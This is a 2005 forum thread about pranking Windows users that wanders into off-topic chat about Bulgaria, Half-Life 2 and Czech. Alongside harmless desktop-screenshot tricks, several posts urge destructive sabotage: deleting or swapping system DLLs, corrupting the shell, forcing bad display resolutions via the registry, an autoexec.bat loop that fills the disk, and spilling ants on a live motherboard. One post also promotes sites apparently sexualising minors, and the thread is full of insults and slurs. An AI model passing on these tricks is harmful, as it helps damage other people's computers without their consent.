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Title: Windows Pranks!
Post by: sjor on 8 August 2005, 20:45
http://www.rjlsoftware.com/software/entertainment/

Drive someone nuts!
Title: Re: Windows Pranks!
Post by: Refalm on 8 August 2005, 22:12
Nice, my parents will love this :)
Title: Re: Windows Pranks!
Post by: Jenda on 9 August 2005, 18:43
Ooh... now to find the right target...
Title: Re: Windows Pranks!
Post by: worker201 on 9 August 2005, 21:28
Why monkey around with pranks when it is so easy to get the real thing?

Refalm, surprise your parents by deleting a bunch of important dll files, that will get them!
Title: Re: Windows Pranks!
Post by: toadlife on 14 August 2005, 08:34
We've done this to one of the executives at work before.....

1) Take screenshot of desktop (print screen button + paint) and save it
2) Move all (movable) icons on desktop to a temp folder
3) Tweak windows so that it doesn't display any special icons (ie. Internu Exploder, My Docs, etc.)
4) Set the background as the screeshot you took.
5) Laugh as the (l)user tries to click on his/her "icons".
Title: Re: Windows Pranks!
Post by: Kintaro on 14 August 2005, 11:22
BAHAHAHA

Im going to have so much fun with my dad and brother thanks to this site.
Title: Re: Windows Pranks!
Post by: Jenda on 20 August 2005, 16:02
How do you tweak Windows that way without third-party software? BTW I managed to "delete" my "Recycle Bin" before I left to Canada on the installation of Windows I just uninstalled (read: formatted) a few weeks ago. I don't know how, though.
Title: Re: Windows Pranks!
Post by: Refalm on 21 August 2005, 08:46
Quote from: Jenda
How do you tweak Windows that way without third-party software?

regedit
compmgmt.msc /s
Title: Re: Windows Pranks!
Post by: Jenda on 21 August 2005, 10:50
Ah... of course. The Windows version of the configuration editor. Except it's not written in human-legible language.
Title: Re: Windows Pranks!
Post by: Aloone_Jonez on 21 August 2005, 11:39
regedit's even worse.
Title: Re: Windows Pranks!
Post by: Jenda on 21 August 2005, 12:29
Aloone: That's what I meant. The GNOME configuration editor is pretty easy to understand. Regedit? Bah!
Title: Re: Windows Pranks!
Post by: Orethrius on 21 August 2005, 13:09
Regedit?  *projectile vomits*
Title: Re: Windows Pranks!
Post by: Kintaro on 22 August 2005, 15:28
Regedit is sexy
Title: Re: Windows Pranks!
Post by: cahult on 23 August 2005, 18:18
The ordinary kind of prank:

http://blau.homeunix.net/hmc/images/vistabsod.jpg
Title: Re: Windows Pranks!
Post by: Kintaro on 24 August 2005, 20:01
You don't have permission to access /hmc/images/vistabsod.jpg on this server.
Title: Re: Windows Pranks!
Post by: Refalm on 24 August 2005, 21:25
Quote from: kintaro
You don't have permission to access /hmc/images/vistabsod.jpg on this server.

Copy link in your browser and press "Enter".
Title: Re: Windows Pranks!
Post by: Lead Head on 24 August 2005, 21:35
OMG, that is funny
Title: Re: Windows Pranks!
Post by: Jenda on 24 August 2005, 23:22
OMG, Holy fuck that's the type of ad they deserve...
Title: Re: Windows Pranks!
Post by: Kintaro on 24 August 2005, 23:40
It would be remotely funny if it was actually acurate and didn't have a Windows 9x BSOD, let alone a fucking blue one (they are red in Vista).

Lame photoshop attempt, try again.
Title: Re: Windows Pranks!
Post by: Kintaro on 24 August 2005, 23:41
Anyway, I logged into my brothers computer and loaded the rudefinger cursor prank. I did it via RDP at 800x600, so I also completely fucked his desktop. Two pranks trying to do one! What a bargain!
Title: Re: Windows Pranks!
Post by: worker201 on 25 August 2005, 02:00
A cute trick I pulled once:

Edit the main arrow cursor (Microangelo is good for this), and make it about 300x300 pixels.  Don't change the size of the arrow itself, just extend the borders - the new area should be filled with transparency.  Now, change the hotpoint of the cursor from upper-left to lower-right.  Hide close by and watch your victim be unable to accomplish anything with the mouse.
Title: Re: Windows Pranks!
Post by: MarathoN on 25 August 2005, 02:31
Is that all you can do in Vista, Check your e-mail and browse the web?

What kind of an OS is that? :p
Title: Re: Windows Pranks!
Post by: Kintaro on 25 August 2005, 08:10
Wow, sounds like they just brought beos.
Title: Re: Windows Pranks!
Post by: Kintaro on 25 August 2005, 08:15
Quote from: worker201
Why monkey around with pranks when it is so easy to get the real thing?

Refalm, surprise your parents by deleting a bunch of important dll files, that will get them!

Funnier would be to get an XP machine and install all the DLL files from Windows NT 4.0. That would make the ultimate BSOD bitch!
Title: Re: Windows Pranks!
Post by: Aloone_Jonez on 25 August 2005, 12:03
Which is funny because I'm, using an NT printer driver for may Cannon 660 LBP and it works a treat!
Title: Re: Windows Pranks!
Post by: Kintaro on 25 August 2005, 12:40
Yea, well copy a bunch of system related ones and watch what happens.
Title: Re: Windows Pranks!
Post by: Lead Head on 25 August 2005, 16:45
Kintaro is windows vista for standard error ther will be a BSOD, When there is a serious error is will be a RSOD
Title: Re: Windows Pranks!
Post by: Refalm on 25 August 2005, 17:16
So why not transforming the BSOD in a more user friendly dialog box?

Maybe with some less geek code.
Title: Re: Windows Pranks!
Post by: Kintaro on 25 August 2005, 17:47
Because most people would just figure it is advertising that Internet Explorer sent in.
Title: Re: Windows Pranks!
Post by: Jenda on 25 August 2005, 18:11
Quote from: kintaro
Because most people would just figure it is advertising that Internet Explorer sent in.

 Good point.
Title: Re: Windows Pranks!
Post by: worker201 on 25 August 2005, 22:56
Quote from: Refalm
So why not transforming the BSOD in a more user friendly dialog box?

Maybe with some less geek code.


The geek code is there for 2 reasons.
1) So that no one ever (not even the guys who wrote the code) can know what the fuck happened
2) You get a stock phrase that Indian tech support can recognize, therefore instantly interrupting you and saying "reinstall Windows"
Title: Re: Windows Pranks!
Post by: mobrien_12 on 26 August 2005, 04:57
Quote from: toadlife
We've done this to one of the executives at work before.....

1) Take screenshot of desktop (print screen button + paint) and save it
2) Move all (movable) icons on desktop to a temp folder
3) Tweak windows so that it doesn't display any special icons (ie. Internu Exploder, My Docs, etc.)
4) Set the background as the screeshot you took.
5) Laugh as the (l)user tries to click on his/her "icons".


I had heard a similar version of this, but much less work to execute.

1) Take screenshot of desktop (print screen button + paint) and save it.
2) Set the background as the screeshot you took.
3) Hide the windows taskbar by dragging it down to the bottom of the screen.  

Voila.  The "start" menu doesn't work (unless you activate it from the keyboard).  The clock is frozen at one point in time.  None of the quicklaunch icons or system tray icons work.  None of the programs show up in the taskbar.  

Course, you could mess with the icons also, and really frustrate the poor windoid.
Title: Re: Windows Pranks!
Post by: sjor on 28 August 2005, 17:41
EDIT
Title: Re: Windows Pranks!
Post by: Kintaro on 28 August 2005, 18:24
Quote from: worker201
The geek code is there for 2 reasons.
1) So that no one ever (not even the guys who wrote the code) can know what the fuck happened
2) You get a stock phrase that Indian tech support can recognize, therefore instantly interrupting you and saying "reinstall Windows"

Err, its usually pretty typically stuff that anybody with a brain, a debugger, and source code can work out dude. I am guessing you just lack the first dependency, a brain.
Title: Re: Windows Pranks!
Post by: worker201 on 29 August 2005, 01:09
Fucktard, I was joking.

However:
The number of people who have access to the source code to all the programs which might have caused a BSOD is probably zero.  And using a debugger at the address level is not simple at all.
Title: Re: Windows Pranks!
Post by: Kintaro on 29 August 2005, 06:38
Ah, it does get the message across though "something fucked up, and you can't fix it!".
Title: Re: Windows Pranks!
Post by: Jack2000 on 1 September 2005, 02:11
Regedit is the master ,to think that ms put a win hacking util in the cd !!:)

try finding the resolution of your video card , it is stored in the registry
and type in 9999x99999 :) or  320x[some thing]
Title: Re: Windows Pranks!
Post by: Lead Head on 1 September 2005, 02:17
haha thats a good one
Title: Re: Windows Pranks!
Post by: Kintaro on 1 September 2005, 17:33
No its not.
Title: Re: Windows Pranks!
Post by: solemnwarning on 1 September 2005, 17:43
Quote from: Jack2000
Regedit is the master ,to think that ms put a win hacking util in the cd !!:)

try finding the resolution of your video card , it is stored in the registry
and type in 9999x99999 :) or  320x[some thing]

50x50!
Title: Re: Windows Pranks!
Post by: Kintaro on 1 September 2005, 17:54
I highly doubt that would work, either of you retards suggestions that is. I think 320x240 is the lowest you can go. I will prove you both wrong later.
Title: Re: Windows Pranks!
Post by: Refalm on 1 September 2005, 18:58
Quote from: kintaro
I highly doubt that would work, either of you retards suggestions that is. I think 320x240 is the lowest you can go. I will prove you both wrong later.

I can remember 320x200 though :)
Title: Re: Windows Pranks!
Post by: Kintaro on 1 September 2005, 19:33
When my computer is not building NetBSD-CURRENT and FreeBSD-CURRENT I will find out.
Title: Re: Windows Pranks!
Post by: Jenda on 1 September 2005, 21:47
Quote from: Jack2000
Regedit is the master ,to think that ms put a win hacking util in the cd !!:)

try finding the resolution of your video card , it is stored in the registry
and type in 9999x99999 :) or  320x[some thing]

 WTF are you reffering to?
Title: Re: Windows Pranks!
Post by: Jack2000 on 1 September 2005, 21:53
WTF ?
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Whant to have fun with win32 :)
(if you don't already know...)
try goind to :
http://computerpranks.com/ (http://computerpranks.com/)
Title: Re: Windows Pranks!
Post by: Kintaro on 2 September 2005, 06:50
Bulgaria is a shithole.
Title: Re: Windows Pranks!
Post by: Jack2000 on 2 September 2005, 07:12
Quote from: kintaro
Bulgaria is a shithole.

yep you said it it is a shithole

and it is not going to improve any time soon,
not even after we join the E.U. :)



[]But what leeds you into that conclusion ?? []
Title: Re: Windows Pranks!
Post by: Kintaro on 2 September 2005, 08:37
You live there.

That was all the proof I needed.
Title: Re: Windows Pranks!
Post by: Refalm on 2 September 2005, 12:52
I think Bulgaria is great! I can go there with what is absolutely no money in the Netherlands, and feel like a rich man in Bulgaria :)
Everything in Eastern Europe is so cheap, it's fucking awesome :)
Title: Re: Windows Pranks!
Post by: Jack2000 on 2 September 2005, 13:07
The good part is that if your mother or father is an accountant for a big-kick-ass-company you can pull all sorts of "deals":cool:

Did you know that the "events" in Half-Life 2 are infact happening in
bulgaria City 17 is Sofia and ravenholm is in a neighbouring country :0
The lead designer is Bulgarian also

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enought offtopic
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Get a Cyrillic-based-WinOs-shell mod
and install it on win98 without  Cyrillic support :]
the fun starts every thing in win is now fuc*ed up
"Start" is __`_~ :) and many more
{you need one of those bad shell32.dll based tweak-ers to do this
i can suply you with that type of bad shit}
Title: Re: Windows Pranks!
Post by: Kintaro on 2 September 2005, 17:34
Eastern Europe is good because 90% of good Lesbian Lolita comes from there. (mylolo, ls-magazine, all fucking hawt)
Title: Re: Windows Pranks!
Post by: Jack2000 on 2 September 2005, 19:26
Kintaro you are right
co on cover to live here > post-soviet countryes are funny to
watch how the politics try do bash some us/eu sense into hard , old, comunists :0
f*ing retards.......




--------------------
get a colony of ants
--------------------
and spill the tiny basturds all over the main board(when it is on) and  watch the fun they  short-out the system in a vary strange ways or place some tiny food bits in the pc case :}
Title: Re: Windows Pranks!
Post by: Refalm on 2 September 2005, 19:35
Quote from: Jack2000
Did you know that the "events" in Half-Life 2 are infact happening in
bulgaria City 17 is Sofia and ravenholm is in a neighbouring country :0
The lead designer is Bulgarian also

Awesome :)

I loved how City 17 looked, and Ravenholm was beautiful (except for those zombies and that prick with the shotgun).
Title: Re: Windows Pranks!
Post by: MarathoN on 2 September 2005, 22:23
Quote from: kintaro
Eastern Europe is good because 90% of good Lesbian Lolita comes from there. (mylolo, ls-magazine, all fucking hawt)


Do you REALLY think you'd get with a lesbian?  ;)
Title: Re: Windows Pranks!
Post by: Kintaro on 2 September 2005, 22:31
Quote from: MarathoN
Do you REALLY think you'd get with a lesbian?  ;)


No, and certainly not an eastern european one (unless my cock was REALLY big). They just look good.
Title: Re: Windows Pranks!
Post by: MarathoN on 2 September 2005, 22:33
HAHAHA, alright then. ;)
Title: Re: Windows Pranks!
Post by: worker201 on 3 September 2005, 00:12
A town a few miles from here (Caldwell) is having a Kolache Festival next week, whatever the fuck that means.
Title: Re: Windows Pranks!
Post by: MarathoN on 3 September 2005, 00:39
Why don't you go see what it's about? ;)
Title: Re: Windows Pranks!
Post by: Jenda on 3 September 2005, 12:41
I know what that means! That's Czech (and a few other Slavic lingos) for "pie" or "cookie" (more like sth inbetween - kol
Title: Re: Windows Pranks!
Post by: Jack2000 on 3 September 2005, 15:16
Quote from: Refalm
Awesome :)

I loved how City 17 looked, and Ravenholm was beautiful (except for those zombies and that prick with the shotgun).

Try the net for "ЦИМЕНТ" and RaveNholm
and yeah "ЦИМЕНТ" is bulgarian for  CONCRETE
so that was concrete factory :D
also the swings in c17 are from soviet origin too

http://www.btinternet.com/~rideflame/HalfLife/HalfLife.html (http://www.btinternet.com/%7Erideflame/HalfLife/HalfLife.html)
Some info on city 17
not for its Bulgarian part but have some info on our neighboring country :D

See the credits !
the leed designer is bulgarian that is why hi
"embeded" parts of bulgaria in the game :)
Title: Re: Windows Pranks!
Post by: adiment on 3 September 2005, 19:02
Quote from: Refalm
Awesome :)

I loved how City 17 looked, and Ravenholm was beautiful (except for those zombies and that prick with the shotgun).

Father Grigori was awesome! ;)
Title: Re: Windows Pranks!
Post by: Orethrius on 3 September 2005, 19:50
Quote from: Jenda
I know what that means! That's Czech (and a few other Slavic lingos) for "pie" or "cookie" (more like sth inbetween - kol
Title: Re: Windows Pranks!
Post by: Jenda on 3 September 2005, 22:00
Quote from: Orethrius
Cookies AND PIE?  In ONE THING?  Can I live with you?  PLEASE?

 Actually it's something inbetween. It looks typically like this: http://www.vilem.cz/images/3040DSC02709.jpg
Title: Re: Windows Pranks!
Post by: Kintaro on 4 September 2005, 06:34
What does Czech mean?
Title: Re: Windows Pranks!
Post by: Jenda on 4 September 2005, 10:48
As in Czech Republic (http://en.wikipedia.org/wiki/Czech_Republic). Or is this my sarcasm sensor failing?
There are quite a few towns of Czech immigrants in the United States, the first wave would be the second half of the nineteenth century, when they all tried to escape oppression from the Austrians (we were a part of the Austro-Hungarian Empire) and the second from 1948 to 1989, because of Russian Communism, mainly 1968, the year of the Russian invasion.
Title: Re: Windows Pranks!
Post by: Kintaro on 5 September 2005, 04:19
I was wondering about the meaning of the name Czech, what does it represent, what are its origins?
Title: Re: Windows Pranks!
Post by: Jenda on 5 September 2005, 19:14
The Legend says that Forefather (for lack of a better word) "Čech" came to the land with his family, or clan, in the eighth century (AD), effectively establishing the Czech nation, for Czech is the modern English version of "Čech", which still means "a Czech" (in Czech). The "Č" is pronounced "ch" as in "church", and the "ch" in "Čech" is similar to the english "h", but even more similar to the German "ch" (as in "Munchen" = Munich).
Title: Re: Windows Pranks!
Post by: Refalm on 5 September 2005, 19:31
Quote from: Jenda
The Legend says that Forefather (for lack of a better word) "Čech" came to the land with his family, or clan, in the eighth century (AD), effectively establishing the Czech nation, for Czech is the modern English version of "Čech", which still means "a Czech" (in Czech). The "Č" is pronounced "ch" as in "church", and the "ch" in "Čech" is similar to the english "h", but even more similar to the German "ch" (as in "Munchen" = Munich).

The German "ch" sounds different from the English one.
Title: Re: Windows Pranks!
Post by: Jenda on 5 September 2005, 20:48
The english "h" is the same thing as the German "ch", except that it's voiced. (Same difference as in "cee"-"zee" "tee"-"dee" "pee"-"bee" (or the english "sh" vs. french "j")
Title: Re: Windows Pranks!
Post by: themacuser on 27 September 2005, 13:22
Quote from: toadlife
We've done this to one of the executives at work before.....

1) Take screenshot of desktop (print screen button + paint) and save it
2) Move all (movable) icons on desktop to a temp folder
3) Tweak windows so that it doesn't display any special icons (ie. Internu Exploder, My Docs, etc.)
4) Set the background as the screeshot you took.
5) Laugh as the (l)user tries to click on his/her "icons".



Done that. Try making a "porn" folder on the desktop, then putting that on the screenshot. They always try and delete it...
Title: Re: Windows Pranks!
Post by: Jack2000 on 28 September 2005, 00:04
try putting an :
---

1:
dir c: >> c:\null[alt+255]
goto 1

---
in the autoexec bat and watch the fun.
(you type alt + 2 + 5 + 5 thru dos-edit.com ):thumbup:
Title: Re: Windows Pranks!
Post by: themacuser on 29 September 2005, 12:46
i'll have to try that...